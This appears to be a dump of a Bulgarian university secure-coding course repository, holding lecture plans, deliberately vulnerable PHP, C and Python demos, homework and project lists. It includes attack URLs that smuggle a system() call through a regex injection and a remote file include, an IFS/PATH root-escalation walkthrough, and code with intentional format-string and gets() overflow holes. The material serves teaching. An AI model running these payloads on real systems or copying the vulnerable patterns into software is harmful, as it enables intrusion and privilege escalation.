├── lecture-plans ├── crypto-security.txt ├── iOS-security.txt ├── android-security.txt ├── windows-security.txt ├── defensive-programming.txt ├── php-security │ ├── attack │ │ ├── .htaccess │ │ └── functions.php │ ├── file-inclusion.php │ ├── functions.php │ ├── code-evaluation.php │ ├── path-traversal.php │ ├── arr.php │ ├── users │ ├── executing-the-attacks.txt │ └── re-injection.php ├── vk │ ├── img │ │ ├── endian.png │ │ ├── memalloc.png │ │ ├── overflow.png │ │ ├── cryptoeng.png │ │ ├── registers.png │ │ ├── setupstack.png │ │ ├── stackframe.png │ │ ├── stackheap.png │ │ ├── returntolibc.png │ │ ├── fullstackframe.png │ │ └── exploits_of_a_mom.png │ ├── makedep.sh │ ├── mkimg.sh │ ├── Makefile │ ├── etxt.php │ ├── 00complexity-blog.txt │ ├── 10sqlinject-blog.txt │ ├── beamercolorthemekrok.sty │ ├── beamer.my │ ├── 10sqlinject.pandoc │ ├── 30crypto.pandoc │ ├── 00complexity.pandoc │ └── 20arch.pandoc ├── misc-security.txt ├── race-conditions.txt ├── c-sharp-security.txt ├── input-validation.txt ├── python-security │ ├── m2.py │ └── umask.py ├── scripting-languages.txt ├── php-security.pandoc ├── java-security │ └── java-bytecode-injection.txt ├── bash-security.txt ├── intro.txt ├── java-security.txt ├── perl-security.txt ├── ruby-security.txt ├── js-security.txt ├── types-of-attacks.txt ├── unix-security.txt ├── python-security.txt ├── web-security.txt └── php-security.txt ├── homeworks ├── 01 │ ├── Makefile │ ├── secrets.conf │ └── cfg.c └── homeworks.txt ├── test-generator ├── arial.ttf ├── pgdump.sql └── generate-test.pl ├── presentations ├── javascript.odp ├── python │ ├── Python_files │ │ ├── name_assignment_1.png │ │ ├── name_assignment_2.png │ │ ├── name_assignment_3.png │ │ ├── css.css │ │ └── styles.css │ └── Python.htm ├── ruby │ ├── Ruby – особености от гледна точка на сигурността.pdf │ └── index.html ├── web │ ├── Web приложения – особености от гледна точка на сигурността.pdf │ └── index.html ├── scripting-languages.pandoc └── types-of-attacks.pandoc ├── README.md ├── books.txt ├── code └── C │ ├── format-string.c │ ├── stack-protection.c │ ├── today.txt │ ├── Makefile │ ├── elf-normal │ └── elf-protected ├── projects ├── hackman.md └── vk.md ├── useful-links.txt ├── annotation.txt └── course-plan.txt /lecture-plans/crypto-security.txt: -------------------------------------------------------------------------------- 1 | Crypto :) 2 | -------------------------------------------------------------------------------- /lecture-plans/iOS-security.txt: -------------------------------------------------------------------------------- 1 | To be discussed 2 | -------------------------------------------------------------------------------- /lecture-plans/android-security.txt: -------------------------------------------------------------------------------- 1 | To be discussed 2 | -------------------------------------------------------------------------------- /lecture-plans/windows-security.txt: -------------------------------------------------------------------------------- 1 | To be discussed 2 | -------------------------------------------------------------------------------- /lecture-plans/defensive-programming.txt: -------------------------------------------------------------------------------- 1 | To be discussed 2 | -------------------------------------------------------------------------------- /lecture-plans/php-security/attack/.htaccess: -------------------------------------------------------------------------------- 1 | AddHandler text/plain .php 2 | -------------------------------------------------------------------------------- /homeworks/01/Makefile: -------------------------------------------------------------------------------- 1 | all: cfg 2 | 3 | cfg: cfg.c 4 | gcc -g -Wall -o cfg $< 5 | -------------------------------------------------------------------------------- /test-generator/arial.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/test-generator/arial.ttf -------------------------------------------------------------------------------- /presentations/javascript.odp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/presentations/javascript.odp -------------------------------------------------------------------------------- /lecture-plans/vk/img/endian.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/endian.png -------------------------------------------------------------------------------- /lecture-plans/misc-security.txt: -------------------------------------------------------------------------------- 1 | - Packet in packet injection (ManiaX) 2 | - Return oriented programming 3 | - ??? 4 | -------------------------------------------------------------------------------- /lecture-plans/php-security/attack/functions.php: -------------------------------------------------------------------------------- 1 | \nNot bad...
\n"); 3 | -------------------------------------------------------------------------------- /lecture-plans/vk/img/memalloc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/memalloc.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/overflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/overflow.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/cryptoeng.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/cryptoeng.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/registers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/registers.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/setupstack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/setupstack.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/stackframe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/stackframe.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/stackheap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/stackheap.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/returntolibc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/returntolibc.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/fullstackframe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/fullstackframe.png -------------------------------------------------------------------------------- /lecture-plans/vk/img/exploits_of_a_mom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/lecture-plans/vk/img/exploits_of_a_mom.png -------------------------------------------------------------------------------- /lecture-plans/race-conditions.txt: -------------------------------------------------------------------------------- 1 | - Race conditions 2 | - non re-entrent functions (DB, Shared mem, files) 3 | - mutex/spinlock/RCU 4 | -------------------------------------------------------------------------------- /lecture-plans/c-sharp-security.txt: -------------------------------------------------------------------------------- 1 | - SQL 2 | - Shell 3 | - Code 4 | - Hash implementation(collisions) 5 | - general language issues 6 | -------------------------------------------------------------------------------- /lecture-plans/input-validation.txt: -------------------------------------------------------------------------------- 1 | - Input validation 2 | - Protocol complexity(state machine, turing complete) 3 | - Environment 4 | - Direct input 5 | -------------------------------------------------------------------------------- /presentations/python/Python_files/name_assignment_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/presentations/python/Python_files/name_assignment_1.png -------------------------------------------------------------------------------- /presentations/python/Python_files/name_assignment_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/presentations/python/Python_files/name_assignment_2.png -------------------------------------------------------------------------------- /presentations/python/Python_files/name_assignment_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/presentations/python/Python_files/name_assignment_3.png -------------------------------------------------------------------------------- /lecture-plans/php-security/file-inclusion.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /lecture-plans/python-security/m2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import sys 5 | 6 | fh1 = os.open ("py-0333-3", os.O_CREAT, 0777) 7 | 8 | os.close(fh1) 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Information about the Network Security II (secure coding) course at FMI Sofia. 2 | 3 | All course materials can be found here: http://training.iseca.org 4 | 5 | 6 | -------------------------------------------------------------------------------- /presentations/ruby/Ruby – особености от гледна точка на сигурността.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/presentations/ruby/Ruby – особености от гледна точка на сигурността.pdf -------------------------------------------------------------------------------- /lecture-plans/vk/makedep.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for i in *.pandoc; do 4 | pdfn=`echo $i|sed s/\.pandoc$/.pdf/` 5 | echo $pdfn: `grep '^!' "$i"|cut -d \( -f 2|cut -d \) -f 1|sort|uniq ` 6 | done 7 | -------------------------------------------------------------------------------- /presentations/web/Web приложения – особености от гледна точка на сигурността.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackman/netsec2/HEAD/presentations/web/Web приложения – особености от гледна точка на сигурността.pdf -------------------------------------------------------------------------------- /lecture-plans/php-security/functions.php: -------------------------------------------------------------------------------- 1 | \n"); 3 | 4 | function test1($var1, $var2) { 5 | echo("$var1, $var2\n"); 6 | } 7 | 8 | test1($argv[1], $argv[2], $argv[3]); 9 | 10 | -------------------------------------------------------------------------------- /lecture-plans/php-security/code-evaluation.php: -------------------------------------------------------------------------------- 1 | \nX: $x"); 7 | ?> 8 | -------------------------------------------------------------------------------- /lecture-plans/php-security/path-traversal.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /lecture-plans/php-security/arr.php: -------------------------------------------------------------------------------- 1 | !HOL:LDpl 8 | pass8=lvqfqebwf1dm2l8 2 | #include 3 | #include 4 | 5 | int main (int argc, char **argv) { 6 | char buf[10] = { '\0' }; 7 | int x = 1; 8 | 9 | // snprintf(buf, sizeof(buf), "%s", argv[1]); // here is a simple fix 10 | 11 | snprintf(buf, sizeof(buf), argv[1]); // the actual exploit 12 | buf[sizeof(buf)-1] = 0; 13 | printf("Buffer size is: (%d) \nData input: %s \n", strlen(buf), buf); 14 | printf("in hex: %#x\nMemory address for x: (%p) \n", x, &x); 15 | strdup(argv[1]); 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /code/C/stack-protection.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | // this disables "warning: implicit declaration of function 'gets'" 4 | #pragma GCC diagnostic ignored "-Wimplicit-function-declaration" 5 | 6 | //void __attribute__ ((stack_protect)) fun() { 7 | void fun() { 8 | char *buf = alloca(0x100); 9 | /* Don't allow gcc to optimise away the buf */ 10 | asm volatile("" :: "m" (buf)); 11 | } 12 | 13 | void user_read() { 14 | char buffer[28]; 15 | gets(buffer); 16 | } 17 | 18 | int main(void) { 19 | user_read(); 20 | } 21 | 22 | -------------------------------------------------------------------------------- /lecture-plans/php-security/executing-the-attacks.txt: -------------------------------------------------------------------------------- 1 | File inclusion: 2 | expected: 3 | http://papers.yuhu.biz/netsec2/file-inclusion.php 4 | url include: 5 | http://papers.yuhu.biz/netsec2/file-inclusion.php?path=http://papers.yuhu.biz/netsec2/attack/ 6 | path modification: 7 | http://papers.yuhu.biz/netsec2/file-inclusion.php?path=attack/ 8 | 9 | Code inclustion: 10 | http://papers.yuhu.biz/netsec2/code-evaluation.php?arg=echo%20OK; 11 | 12 | Regular Expression Inclusion 13 | http://papers.yuhu.biz/netsec2/re-injection.php?username=terminus&password=pass1&newpassword=%27.system%28%27ls%20-l%27%29.%27 14 | -------------------------------------------------------------------------------- /lecture-plans/python-security/umask.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import sys 5 | 6 | test_file = "netsec1.junk" 7 | my_mask = 777 8 | args = len(sys.argv) 9 | 10 | if args > 3: 11 | test_file = sys.argv[1] 12 | perms = int(sys.argv[2]) 13 | mask = sys.argv[3] 14 | old_mask = os.umask (mask) 15 | fh1 = os.open (test_file, os.O_CREAT, perms) 16 | elif args > 2: 17 | test_file = sys.argv[1] 18 | perms = int(sys.argv[2]) 19 | fh1 = os.open (test_file, os.O_CREAT, perms) 20 | elif args > 1: 21 | test_file = sys.argv[1] 22 | fh1 = os.open (test_file, os.O_CREAT) 23 | else: 24 | fh1 = os.open (test_file, os.O_CREAT) 25 | 26 | os.close(fh1) 27 | -------------------------------------------------------------------------------- /lecture-plans/vk/Makefile: -------------------------------------------------------------------------------- 1 | 2 | TARGETS=$(patsubst %.pandoc,%.pdf,$(wildcard *.pandoc)) $(patsubst %.pandoc,%-blog.txt,$(wildcard *.pandoc)) 3 | 4 | all: depend $(TARGETS) 5 | 6 | depend: .depend 7 | 8 | .depend: $(wildcard *.pandoc) makedep.sh 9 | rm -f .depend 10 | ./makedep.sh > .depend 11 | 12 | -include .depend 13 | 14 | %.pdf: %.pandoc beamer.my beamercolorthemekrok.sty 15 | pandoc --slide-level 3 -t beamer $< --template beamer.my -V theme:Warsaw -V fonttheme:structurebold -V colortheme:krok -o $@ 16 | 17 | %.png: img/%.png 18 | ./mkimg.sh $@ 19 | 20 | %-blog.txt: %.pandoc 21 | php etxt.php $< > $@ 22 | clean: 23 | rm -f $(TARGETS) *.png .depend 24 | 25 | push: 26 | git push origin master 27 | -------------------------------------------------------------------------------- /lecture-plans/php-security/re-injection.php: -------------------------------------------------------------------------------- 1 | \n\n"); 9 | $users = file_get_contents('users'); 10 | $users = preg_replace("/($username):$password(:.*)/e", "'\\1:'.strtolower('$newpassword').'\\2'", $users ); 11 | $users = preg_replace("#[\r\n]+#", "
\n", $users, -1 ); 12 | echo($users); 13 | ?> 14 | -------------------------------------------------------------------------------- /lecture-plans/java-security/java-bytecode-injection.txt: -------------------------------------------------------------------------------- 1 | Java code compiles into bytecode (Foo.java ->> Foo.class). Bytecode injection is modifying Foo.classat runtime to inject code into it right before its loaded and run. 2 | 3 | Imagine a scenario where I want to find out how many times method 4 | 5 | public void bar(); 6 | 7 | is invoked in Foo.class. I could write an agent using java.lang.instrument that intercepts Foo.class during class load, modifies it using ASM so that bar() calls com.amir.agent.incrementCount() on method entry. 8 | 9 | Now I can run my program: 10 | 11 | $java -javagent:MyAgent Foo //assuming Foo has a main() defined 12 | 13 | and at runtime, Foo.class will not only do its normal work, it will also do work I defined in MyAgent each time bar() is invoked. 14 | -------------------------------------------------------------------------------- /projects/hackman.md: -------------------------------------------------------------------------------- 1 | # Проекти от Мариян (HackMan) Маринов 2 | ===================================== 3 | 4 | 5 | # Анализи 6 | ## Анализ на проблемите в сигурността на Linux ядрото в последните 12 месеца (6/10, двама души) 7 | 1. Списък на проблемите в сигурността на Linux ядрото в последните 12 месеца. 8 | 2. Описание на всички проблеми довели до ситуации, в които локален потребител може да вземе root привилегии. 9 | 3. Приоритизиране на всички проблеми които водят до потенциален DoS 10 | 4. Статистически анализ на времето за излизане на exploit за намерените проблеми 11 | 5. Статистически анализ на времето за решаване на намерените проблеми 12 | 6. Направете анализ, теоретично, колко време след обявяването на критичен проблем в сигурността на ядрото е възможно машина да бъде компрометирана(exploited) и колко е вероятно това да се случи. 13 | -------------------------------------------------------------------------------- /homeworks/homeworks.txt: -------------------------------------------------------------------------------- 1 | Homeworks for this course are ongoing... 2 | You can submit PoC(Proof-of-Concept) exploits as soon as you have them. 3 | 4 | The task is simple, find security issues within the following software: 5 | - Moodle 6 | - Joomla 7 | - WordPress 8 | - FFmpeg/AVconv (they are pretty close) 9 | - Linux Kernel 10 | 11 | Every proven security issue is eligible for 1 to 3 points. 12 | 13 | If you have worked on any other opensource software and have reported a software security issue to them or want to work on auditing that code, please first consult with the teachers of the course. 14 | 15 | 16 | 01 Compiled languages 17 | You have one config parser, which parses secrets.conf into keys and values. 18 | - find out why you need the FIX define 19 | - find out why you don't see pass5, pass6, pass7 and pass9 20 | - explain how you solved both issues and how you found the actual problems 21 | -------------------------------------------------------------------------------- /useful-links.txt: -------------------------------------------------------------------------------- 1 | http://www.dwheeler.com/secure-programs/ 2 | http://arstechnica.com/cpu/index.html 3 | http://www.php.net/manual/en/security.php 4 | http://www.securereality.com.au/studyinscarlet.txt 5 | http://www.perldoc.com/perl5.6/pod/perlsec.html 6 | http://www.insecure.org/news/P55-07.txt 7 | http://www.securiteam.com/securityreviews/5DP0N1P76E.html 8 | http://www.owasp.org/asac/input_validation/sql.shtml 9 | http://www.cs.columbia.edu/~akonstan/presentations/java-security/html/ 10 | http://msdn.microsoft.com/library/default.asp?url=/nhp/Default.asp?contentid=28001369 11 | http://msdn.microsoft.com/vstudio/techinfo/articles/developerproductivity/frameworksec.asp 12 | 13 | http://guides.rubyonrails.org/security.html 14 | http://php.net/manual/en/security.php 15 | http://treinamentoinfoco.com.br/wp-content/uploads/2014/01/PHP.Architectnanobooks.PHP_.Architects.Guide_.to_.PHP_.Security.2005.LotB_.pdf 16 | -------------------------------------------------------------------------------- /lecture-plans/vk/etxt.php: -------------------------------------------------------------------------------- 1 | ", 3)==0) { 38 | $state=ST_OUT; 39 | echo "\n"; 40 | continue; 41 | } 42 | echo $row; 43 | } 44 | 45 | } 46 | 47 | -------------------------------------------------------------------------------- /lecture-plans/vk/00complexity-blog.txt: -------------------------------------------------------------------------------- 1 | ", 3)==0) { 38 | $state=ST_OUT; 39 | echo "\n"; 40 | continue; 41 | } 42 | echo $row; 43 | } 44 | 45 | } 46 | 47 | -------------------------------------------------------------------------------- /lecture-plans/vk/10sqlinject-blog.txt: -------------------------------------------------------------------------------- 1 | ", 3)==0) { 38 | $state=ST_OUT; 39 | echo "\n"; 40 | continue; 41 | } 42 | echo $row; 43 | } 44 | 45 | } 46 | 47 | -------------------------------------------------------------------------------- /annotation.txt: -------------------------------------------------------------------------------- 1 | Целта на курса е да запознае студентите с различните концепции за сигурно програмиране. 2 | Ще бъдат разгледани и демонстрирани атаки върху несигурен код, както и широк клас защити от такива атаки. 3 | Курсът е естествено продължение на "Мрежова сигурност I" и е ориентиран основно към разработчиците на софтуер. 4 | 5 | Програмата на курса можете да видите тук: 6 | https://github.com/hackman/netsec2/blob/master/course-plan.txt 7 | 8 | Оценяването става с едно или две контролнои и курсов проект. 9 | 10 | Точки Оценка 11 | 60-69 3 12 | 70-79 4 13 | 80-89 5 14 | 90-100 6 15 | 16 | Темите за курсовите проекти могат да бъдат намерени тук: 17 | https://github.com/hackman/netsec2/tree/master/projects 18 | 19 | С цел добиване на допълнителни точки(извън тези които ще получите от контролните и курсовият проект) можете да се опитате да направите и някоя от задачите за домашна работа: 20 | https://github.com/hackman/netsec2/blob/master/homeworks.txt 21 | 22 | 23 | Интересни материали по темите обсъждани в този курс можете да намерите в допълнителната литература: 24 | https://github.com/hackman/netsec2/blob/master/books.txt 25 | 26 | -------------------------------------------------------------------------------- /projects/vk.md: -------------------------------------------------------------------------------- 1 | # Проекти от Васил Колев (и предишни години) 2 | ========================================== 3 | 4 | # Курсови проекти 5 | 6 | ## Exploit/code exec 7 | 8 | Да се напише code execution exploit за един от следните софтуери, който да работи на 9 | Debian Wheezy: 10 | vlc 2.0.3-5 11 | privoxy 3.0.19-2 12 | polarssl-1.2.9-deb6u1 13 | 14 | ## Exploit за работеща услуга 15 | 16 | Да се напише програма, която чрез MITM да прихваща и анализира информация (вкл. 17 | credentials) за следните услуги: 18 | 19 | Facebook 20 | GMail 21 | СУСИ 22 | Twitter 23 | 24 | Версиите на софтуера може да се намерят на https://vasil.ludost.net/ns/ 25 | 26 | ## Audit на код 27 | 28 | Да се прегледа кода на един от следните софтуери и да се опишат откритите проблеми 29 | и методологията: 30 | 31 | Moodle plugin някой-си; 32 | 33 | 34 | 35 | # Проекти за точки през семестъра 36 | 37 | ## Откриване на нов security проблем в софтуер: 38 | 39 | Да се открие нов (неизвестен досега) security проблем в един от следните софтуери 40 | и да се report-не на разработчиците по нормалната процедура за софтуера: 41 | 42 | WordPress 4.1 43 | Moodle 2.8.3 44 | 45 | Студентите ще трябва да покажат комуникацията с проекта и да опишат проблема. 46 | 47 | 48 | -------------------------------------------------------------------------------- /lecture-plans/bash-security.txt: -------------------------------------------------------------------------------- 1 | Arrays and Hashes 2 | 3 | abuse of PATH 4 | $ program 5 | instead of 6 | $ ./program 7 | 8 | abuse of IFS 9 | 1) $ cat /home/nick/bin 10 | 2) ...#!/bin/bash 11 | 3) .../bin/sh #this script will execute /bin/sh 12 | 4) $ ls -al /usr/local/date 13 | 5) ---s--x--x 1 root root 21673 Mar 9 18:36 date 14 | 6) $ PATH=/home/nick:${PATH} 15 | 7) $ export PATH 16 | 8) $ IFS=/ 17 | 9) $ export IFS 18 | 10) $ /usr/local/date 19 | 11) # whoami 20 | 12) root 21 | 22 | IFS exploits: 23 | http://www.securityfocus.com/bid/454/exploit 24 | http://seclists.org/bugtraq/1996/Jun/82 25 | 26 | Executing applications: 27 | 28 | `cmd` 29 | $(cmd) 30 | exec cmd 31 | /bin/bash cmd 32 | 33 | Subshells: 34 | user=111 35 | uid=12 36 | cut -d : -f 1,3,4 /etc/passwd|tr ':' ' '|while read user uid gid; do 37 | echo "|$user|$uid|$gid|" 38 | done|tail -n5 39 | 40 | /bin/bash (cut) 41 | \- /bin/bash (tr) 42 | \- /bin/bash (while) 43 | 44 | 45 | Running bash in restricted mode: http://linux.die.net/man/1/bash 46 | search for RESTRICTED SHELL 47 | 48 | Shellshock attack - https://blog.cloudflare.com/inside-shellshock/ 49 | Patches for the attack - http://thread.gmane.org/gmane.comp.shells.bash.bugs/22190 50 | 51 | -------------------------------------------------------------------------------- /code/C/today.txt: -------------------------------------------------------------------------------- 1 | 1. kernel protections, като показвам какво правят в няколко картинки :) 2 | - ASLR (Kernel space, User space, MMAP) 3 | - NX bit ( loader protection) 4 | - mprotect (mmap, protection) 5 | PROT_NONE The memory cannot be accessed at all 6 | PROT_READ The memory can be read 7 | PROT_WRITE The memory can be modified 8 | PROT_EXEC The memory can be executed 9 | 2. една примерна програмка с gets :) 10 | 3. показвам buffer overflow-a 11 | 4. компилирам със stack protector 12 | 5. Обяснявам различните stack protector механизми 13 | 6. показвам го в малко код 14 | 15 | http://upx.sourceforge.net/ 16 | 17 | http://www.hackitoergosum.org/2010/HES2010-prascagneres-Stack-Smashing-Protector-in-FreeBSD.pdf 18 | http://wiki.osdev.org/Stack_Smashing_Protector 19 | A Comparison of Buffer Overflow Prevention Implementations and Weaknesses - https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf 20 | Mprotect - https://pax.grsecurity.net/docs/segmexec.txt 21 | 22 | Fortify source: https://idea.popcount.org/2013-08-15-fortify_source/ 23 | Stack protector: https://lwn.net/Articles/584225/ 24 | 25 | 26 | EBP - Frame pointer 27 | EIP - Instruction pointer 28 | ESP - Stack pointer 29 | 30 | 31 | -------------------------------------------------------------------------------- /lecture-plans/intro.txt: -------------------------------------------------------------------------------- 1 | - Intro 2 | - Programming languages 3 | - compiled 4 | - interpretative 5 | - just-in-time compilation 6 | - Types of attacks 7 | - overflow 8 | - stack 9 | - heap 10 | - integer 11 | - memory allocation 12 | - underflow 13 | - off by one 14 | - injection 15 | - format string 16 | - path 17 | - shell 18 | - sql 19 | - code 20 | - XSS 21 | - CSRF 22 | - Unicode 23 | - logical 24 | - DNS 25 | - Timing (password brute-forcing) 26 | - Crypto 27 | - Denial of servic 28 | - Input validation 29 | 30 | - Intro 31 | - Why we decided to make this course 32 | - Present all speakers 33 | - Vasil 34 | - Petko 35 | - Joan 36 | - Bobi 37 | - Marian 38 | - Adminitrative things 39 | - Site 40 | - Mailing list 41 | - Recordings 42 | - Exam 43 | - Course work 44 | 45 | - Programming languages 46 | - What is machine code? 47 | - What is a compiled language? 48 | - What is a interpretative language? 49 | - Why are they slower... simply because "if ($a == 0)" can be translated to: 50 | 1. get the addres of an elemet of this($a) data structure 51 | 2. convert this element to integer(because most probably it is not and int) 52 | 3. convert 0 to integer 53 | 4. add the converted variables as parameters to the cmopare() function 54 | 5. the compare() function executes the cmp CPU instruction 55 | - What is just-in-time compilation? 56 | 57 | Go trough the course schedule 58 | - Tupes of attacks 59 | - memory 60 | - stack vs. heap 61 | - overflows 62 | - integer - car km meter overflow. 63 | - stack 64 | - heap 65 | 66 | 67 | Useful links: 68 | Wikipedia(for each subject that was discussed) 69 | http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html 70 | 71 | -------------------------------------------------------------------------------- /code/C/Makefile: -------------------------------------------------------------------------------- 1 | TARGETS = no-protection stack-protection fortify-1 fortify-2 format-string 2 | STACK_SOURCE = stack-protection.c 3 | FORMAT_SOURCE = format-string.c 4 | 5 | all: $(TARGETS) 6 | 7 | no-protection: $(STACK_SOURCE) 8 | gcc -g -Wall -Wpragmas -fno-stack-protector $(STACK_SOURCE) -o no-protection 9 | 10 | # -fstack-protector 11 | # Emit extra code to check for buffer overflows, such as stack smashing attacks. This is done by adding a guard variable to functions with vulnerable objects. This includes 12 | # functions that call "alloca", and functions with buffers larger than 8 bytes. The guards are initialized when a function is entered and then checked when the function exits. If a 13 | # guard check fails, an error message is printed and the program exits. 14 | # 15 | # -fstack-protector-all 16 | # Like -fstack-protector except that all functions are protected. 17 | # 18 | # -fstack-protector-strong 19 | # Like -fstack-protector but includes additional functions to be protected --- those that have local array definitions, or have references to local frame addresses. 20 | # 21 | # -fstack-protector-explicit 22 | # Like -fstack-protector but only protects those functions which have the "stack_protect" attribute 23 | 24 | stack-protection: $(STACK_SOURCE) 25 | gcc -g -Wall -Wpragmas -fstack-protector $(STACK_SOURCE) -o stack-protection 26 | 27 | fortify-1: $(STACK_SOURCE) 28 | gcc -g -Wall -Wpragmas -D_FORTIFY_SOURCE=1 -O1 $(STACK_SOURCE) -o fortify-1 29 | 30 | fortify-2: $(STACK_SOURCE) 31 | gcc -g -Wall -Wpragmas -D_FORTIFY_SOURCE=2 -O2 $(STACK_SOURCE) -o fortify-2 32 | 33 | format-string: $(FORMAT_SOURCE) 34 | gcc -g -Wall -Wpragmas -D_FORTIFY_SOURCE=2 -O2 $(FORMAT_SOURCE) -o format-string 35 | 36 | 37 | clean: 38 | rm -f $(TARGETS) 39 | -------------------------------------------------------------------------------- /lecture-plans/java-security.txt: -------------------------------------------------------------------------------- 1 | - SQL 2 | - Shell 3 | - Code 4 | - Hash implementation(collisions) 5 | - general language issues 6 | 7 | JVM 8 | - can run Java, Scala, Haskell(Eta) 9 | - has its own security module java.security.manager 10 | https://docs.oracle.com/javase/7/docs/technotes/guides/security/PolicyFiles.html 11 | java -Djava.security.managerMyApplication 12 | java -Djava.security.manager=default MyApplication 13 | 14 | java.lang.SecurityManager class 15 | java.lang.System.getSecurityManager() 16 | java.lang.System.setSecurityManager() 17 | 18 | * AllPermission(): Permission to all resources. 19 | * FilePermission(String fileName, String access): Permissions for file access. Access string can contain "read," "write," "delete," and "execute" separated by commas. 20 | java.security.AccessController.checkPermission(permission); 21 | * SocketPermission(String address,String access): Permissions for network socket connections. Address string can be in URL or IP form; access string can contain "accept" and "connect" operations. 22 | * PropertyPermission(String prop,String access): Permissions for property settings. 23 | https://docs.oracle.com/javase/6/docs/technotes/guides/security/spec/security-specTOC.fm.html 24 | 25 | Java can run scripting languages 26 | - ScriptEngineManager 27 | https://docs.oracle.com/javase/7/docs/api/javax/script/ScriptEngineManager.html 28 | - JavaScript 29 | https://www.owasp.org/index.php/Code_injection_in_Java 30 | - LUA 31 | 32 | Application servers 33 | - TomCat 34 | - JSP :( 35 | - JBoss 36 | 37 | Applets... hope you never work with these :) 38 | 39 | SEI CERT Coding Standard for Java 40 | https://wiki.sei.cmu.edu/confluence/display/java/SEI+CERT+Oracle+Coding+Standard+for+Java 41 | 42 | Android Secure Coding Standard 43 | https://wiki.sei.cmu.edu/confluence/display/android/Android+Secure+Coding+Standard 44 | 45 | 46 | -------------------------------------------------------------------------------- /lecture-plans/vk/beamercolorthemekrok.sty: -------------------------------------------------------------------------------- 1 | % Copyright 2007 by Till Tantau 2 | % 3 | % This file may be distributed and/or modified 4 | % 5 | % 1. under the LaTeX Project Public License and/or 6 | % 2. under the GNU Public License. 7 | % 8 | % See the file doc/licenses/LICENSE for more details. 9 | 10 | \ProvidesPackageRCS $Header: /home/vedranm/bitbucket/beamer/base/themes/color/beamercolorthemekrok.sty,v d02a7cf4d8ae 2010/06/17 09:11:41 rivanvx $ 11 | 12 | 13 | \mode 14 | 15 | \definecolor{craneorange}{HTML}{008803} 16 | \definecolor{craneblue}{HTML}{000000} 17 | 18 | 19 | \setbeamercolor{structure}{fg=craneblue} 20 | 21 | \setbeamercolor{palette primary}{fg=craneblue,bg=craneorange!70} 22 | \setbeamercolor{palette secondary}{fg=craneblue,bg=craneorange!80} 23 | \setbeamercolor{palette tertiary}{fg=craneblue,bg=craneorange!90} 24 | \setbeamercolor{palette quaternary}{fg=craneblue,bg=craneorange} 25 | 26 | \setbeamercolor{titlelike}{parent=palette quaternary} 27 | 28 | \setbeamercolor{block title}{fg=craneblue,bg=craneorange} 29 | \setbeamercolor{block title alerted}{use=alerted text,fg=craneblue,bg=alerted text.fg!75!bg} 30 | \setbeamercolor{block title example}{use=example text,fg=craneblue,bg=example text.fg!75!bg} 31 | 32 | \setbeamercolor{block body}{parent=normal text,use=block title,bg=block title.bg!25!bg} 33 | \setbeamercolor{block body alerted}{parent=normal text,use=block title alerted,bg=block title alerted.bg!25!bg} 34 | \setbeamercolor{block body example}{parent=normal text,use=block title example,bg=block title example.bg!25!bg} 35 | 36 | \setbeamercolor{sidebar}{bg=craneorange!70} 37 | 38 | \setbeamercolor{palette sidebar primary}{fg=craneblue} 39 | \setbeamercolor{palette sidebar secondary}{fg=craneblue!75} 40 | \setbeamercolor{palette sidebar tertiary}{fg=craneblue!75} 41 | \setbeamercolor{palette sidebar quaternary}{fg=craneblue} 42 | 43 | \setbeamercolor*{separation line}{} 44 | \setbeamercolor*{fine separation line}{} 45 | 46 | \mode 47 | 48 | -------------------------------------------------------------------------------- /presentations/python/Python_files/css.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'Droid Sans Mono'; 3 | font-style: normal; 4 | font-weight: 400; 5 | src: local('Droid Sans Mono'), local('DroidSansMono'), 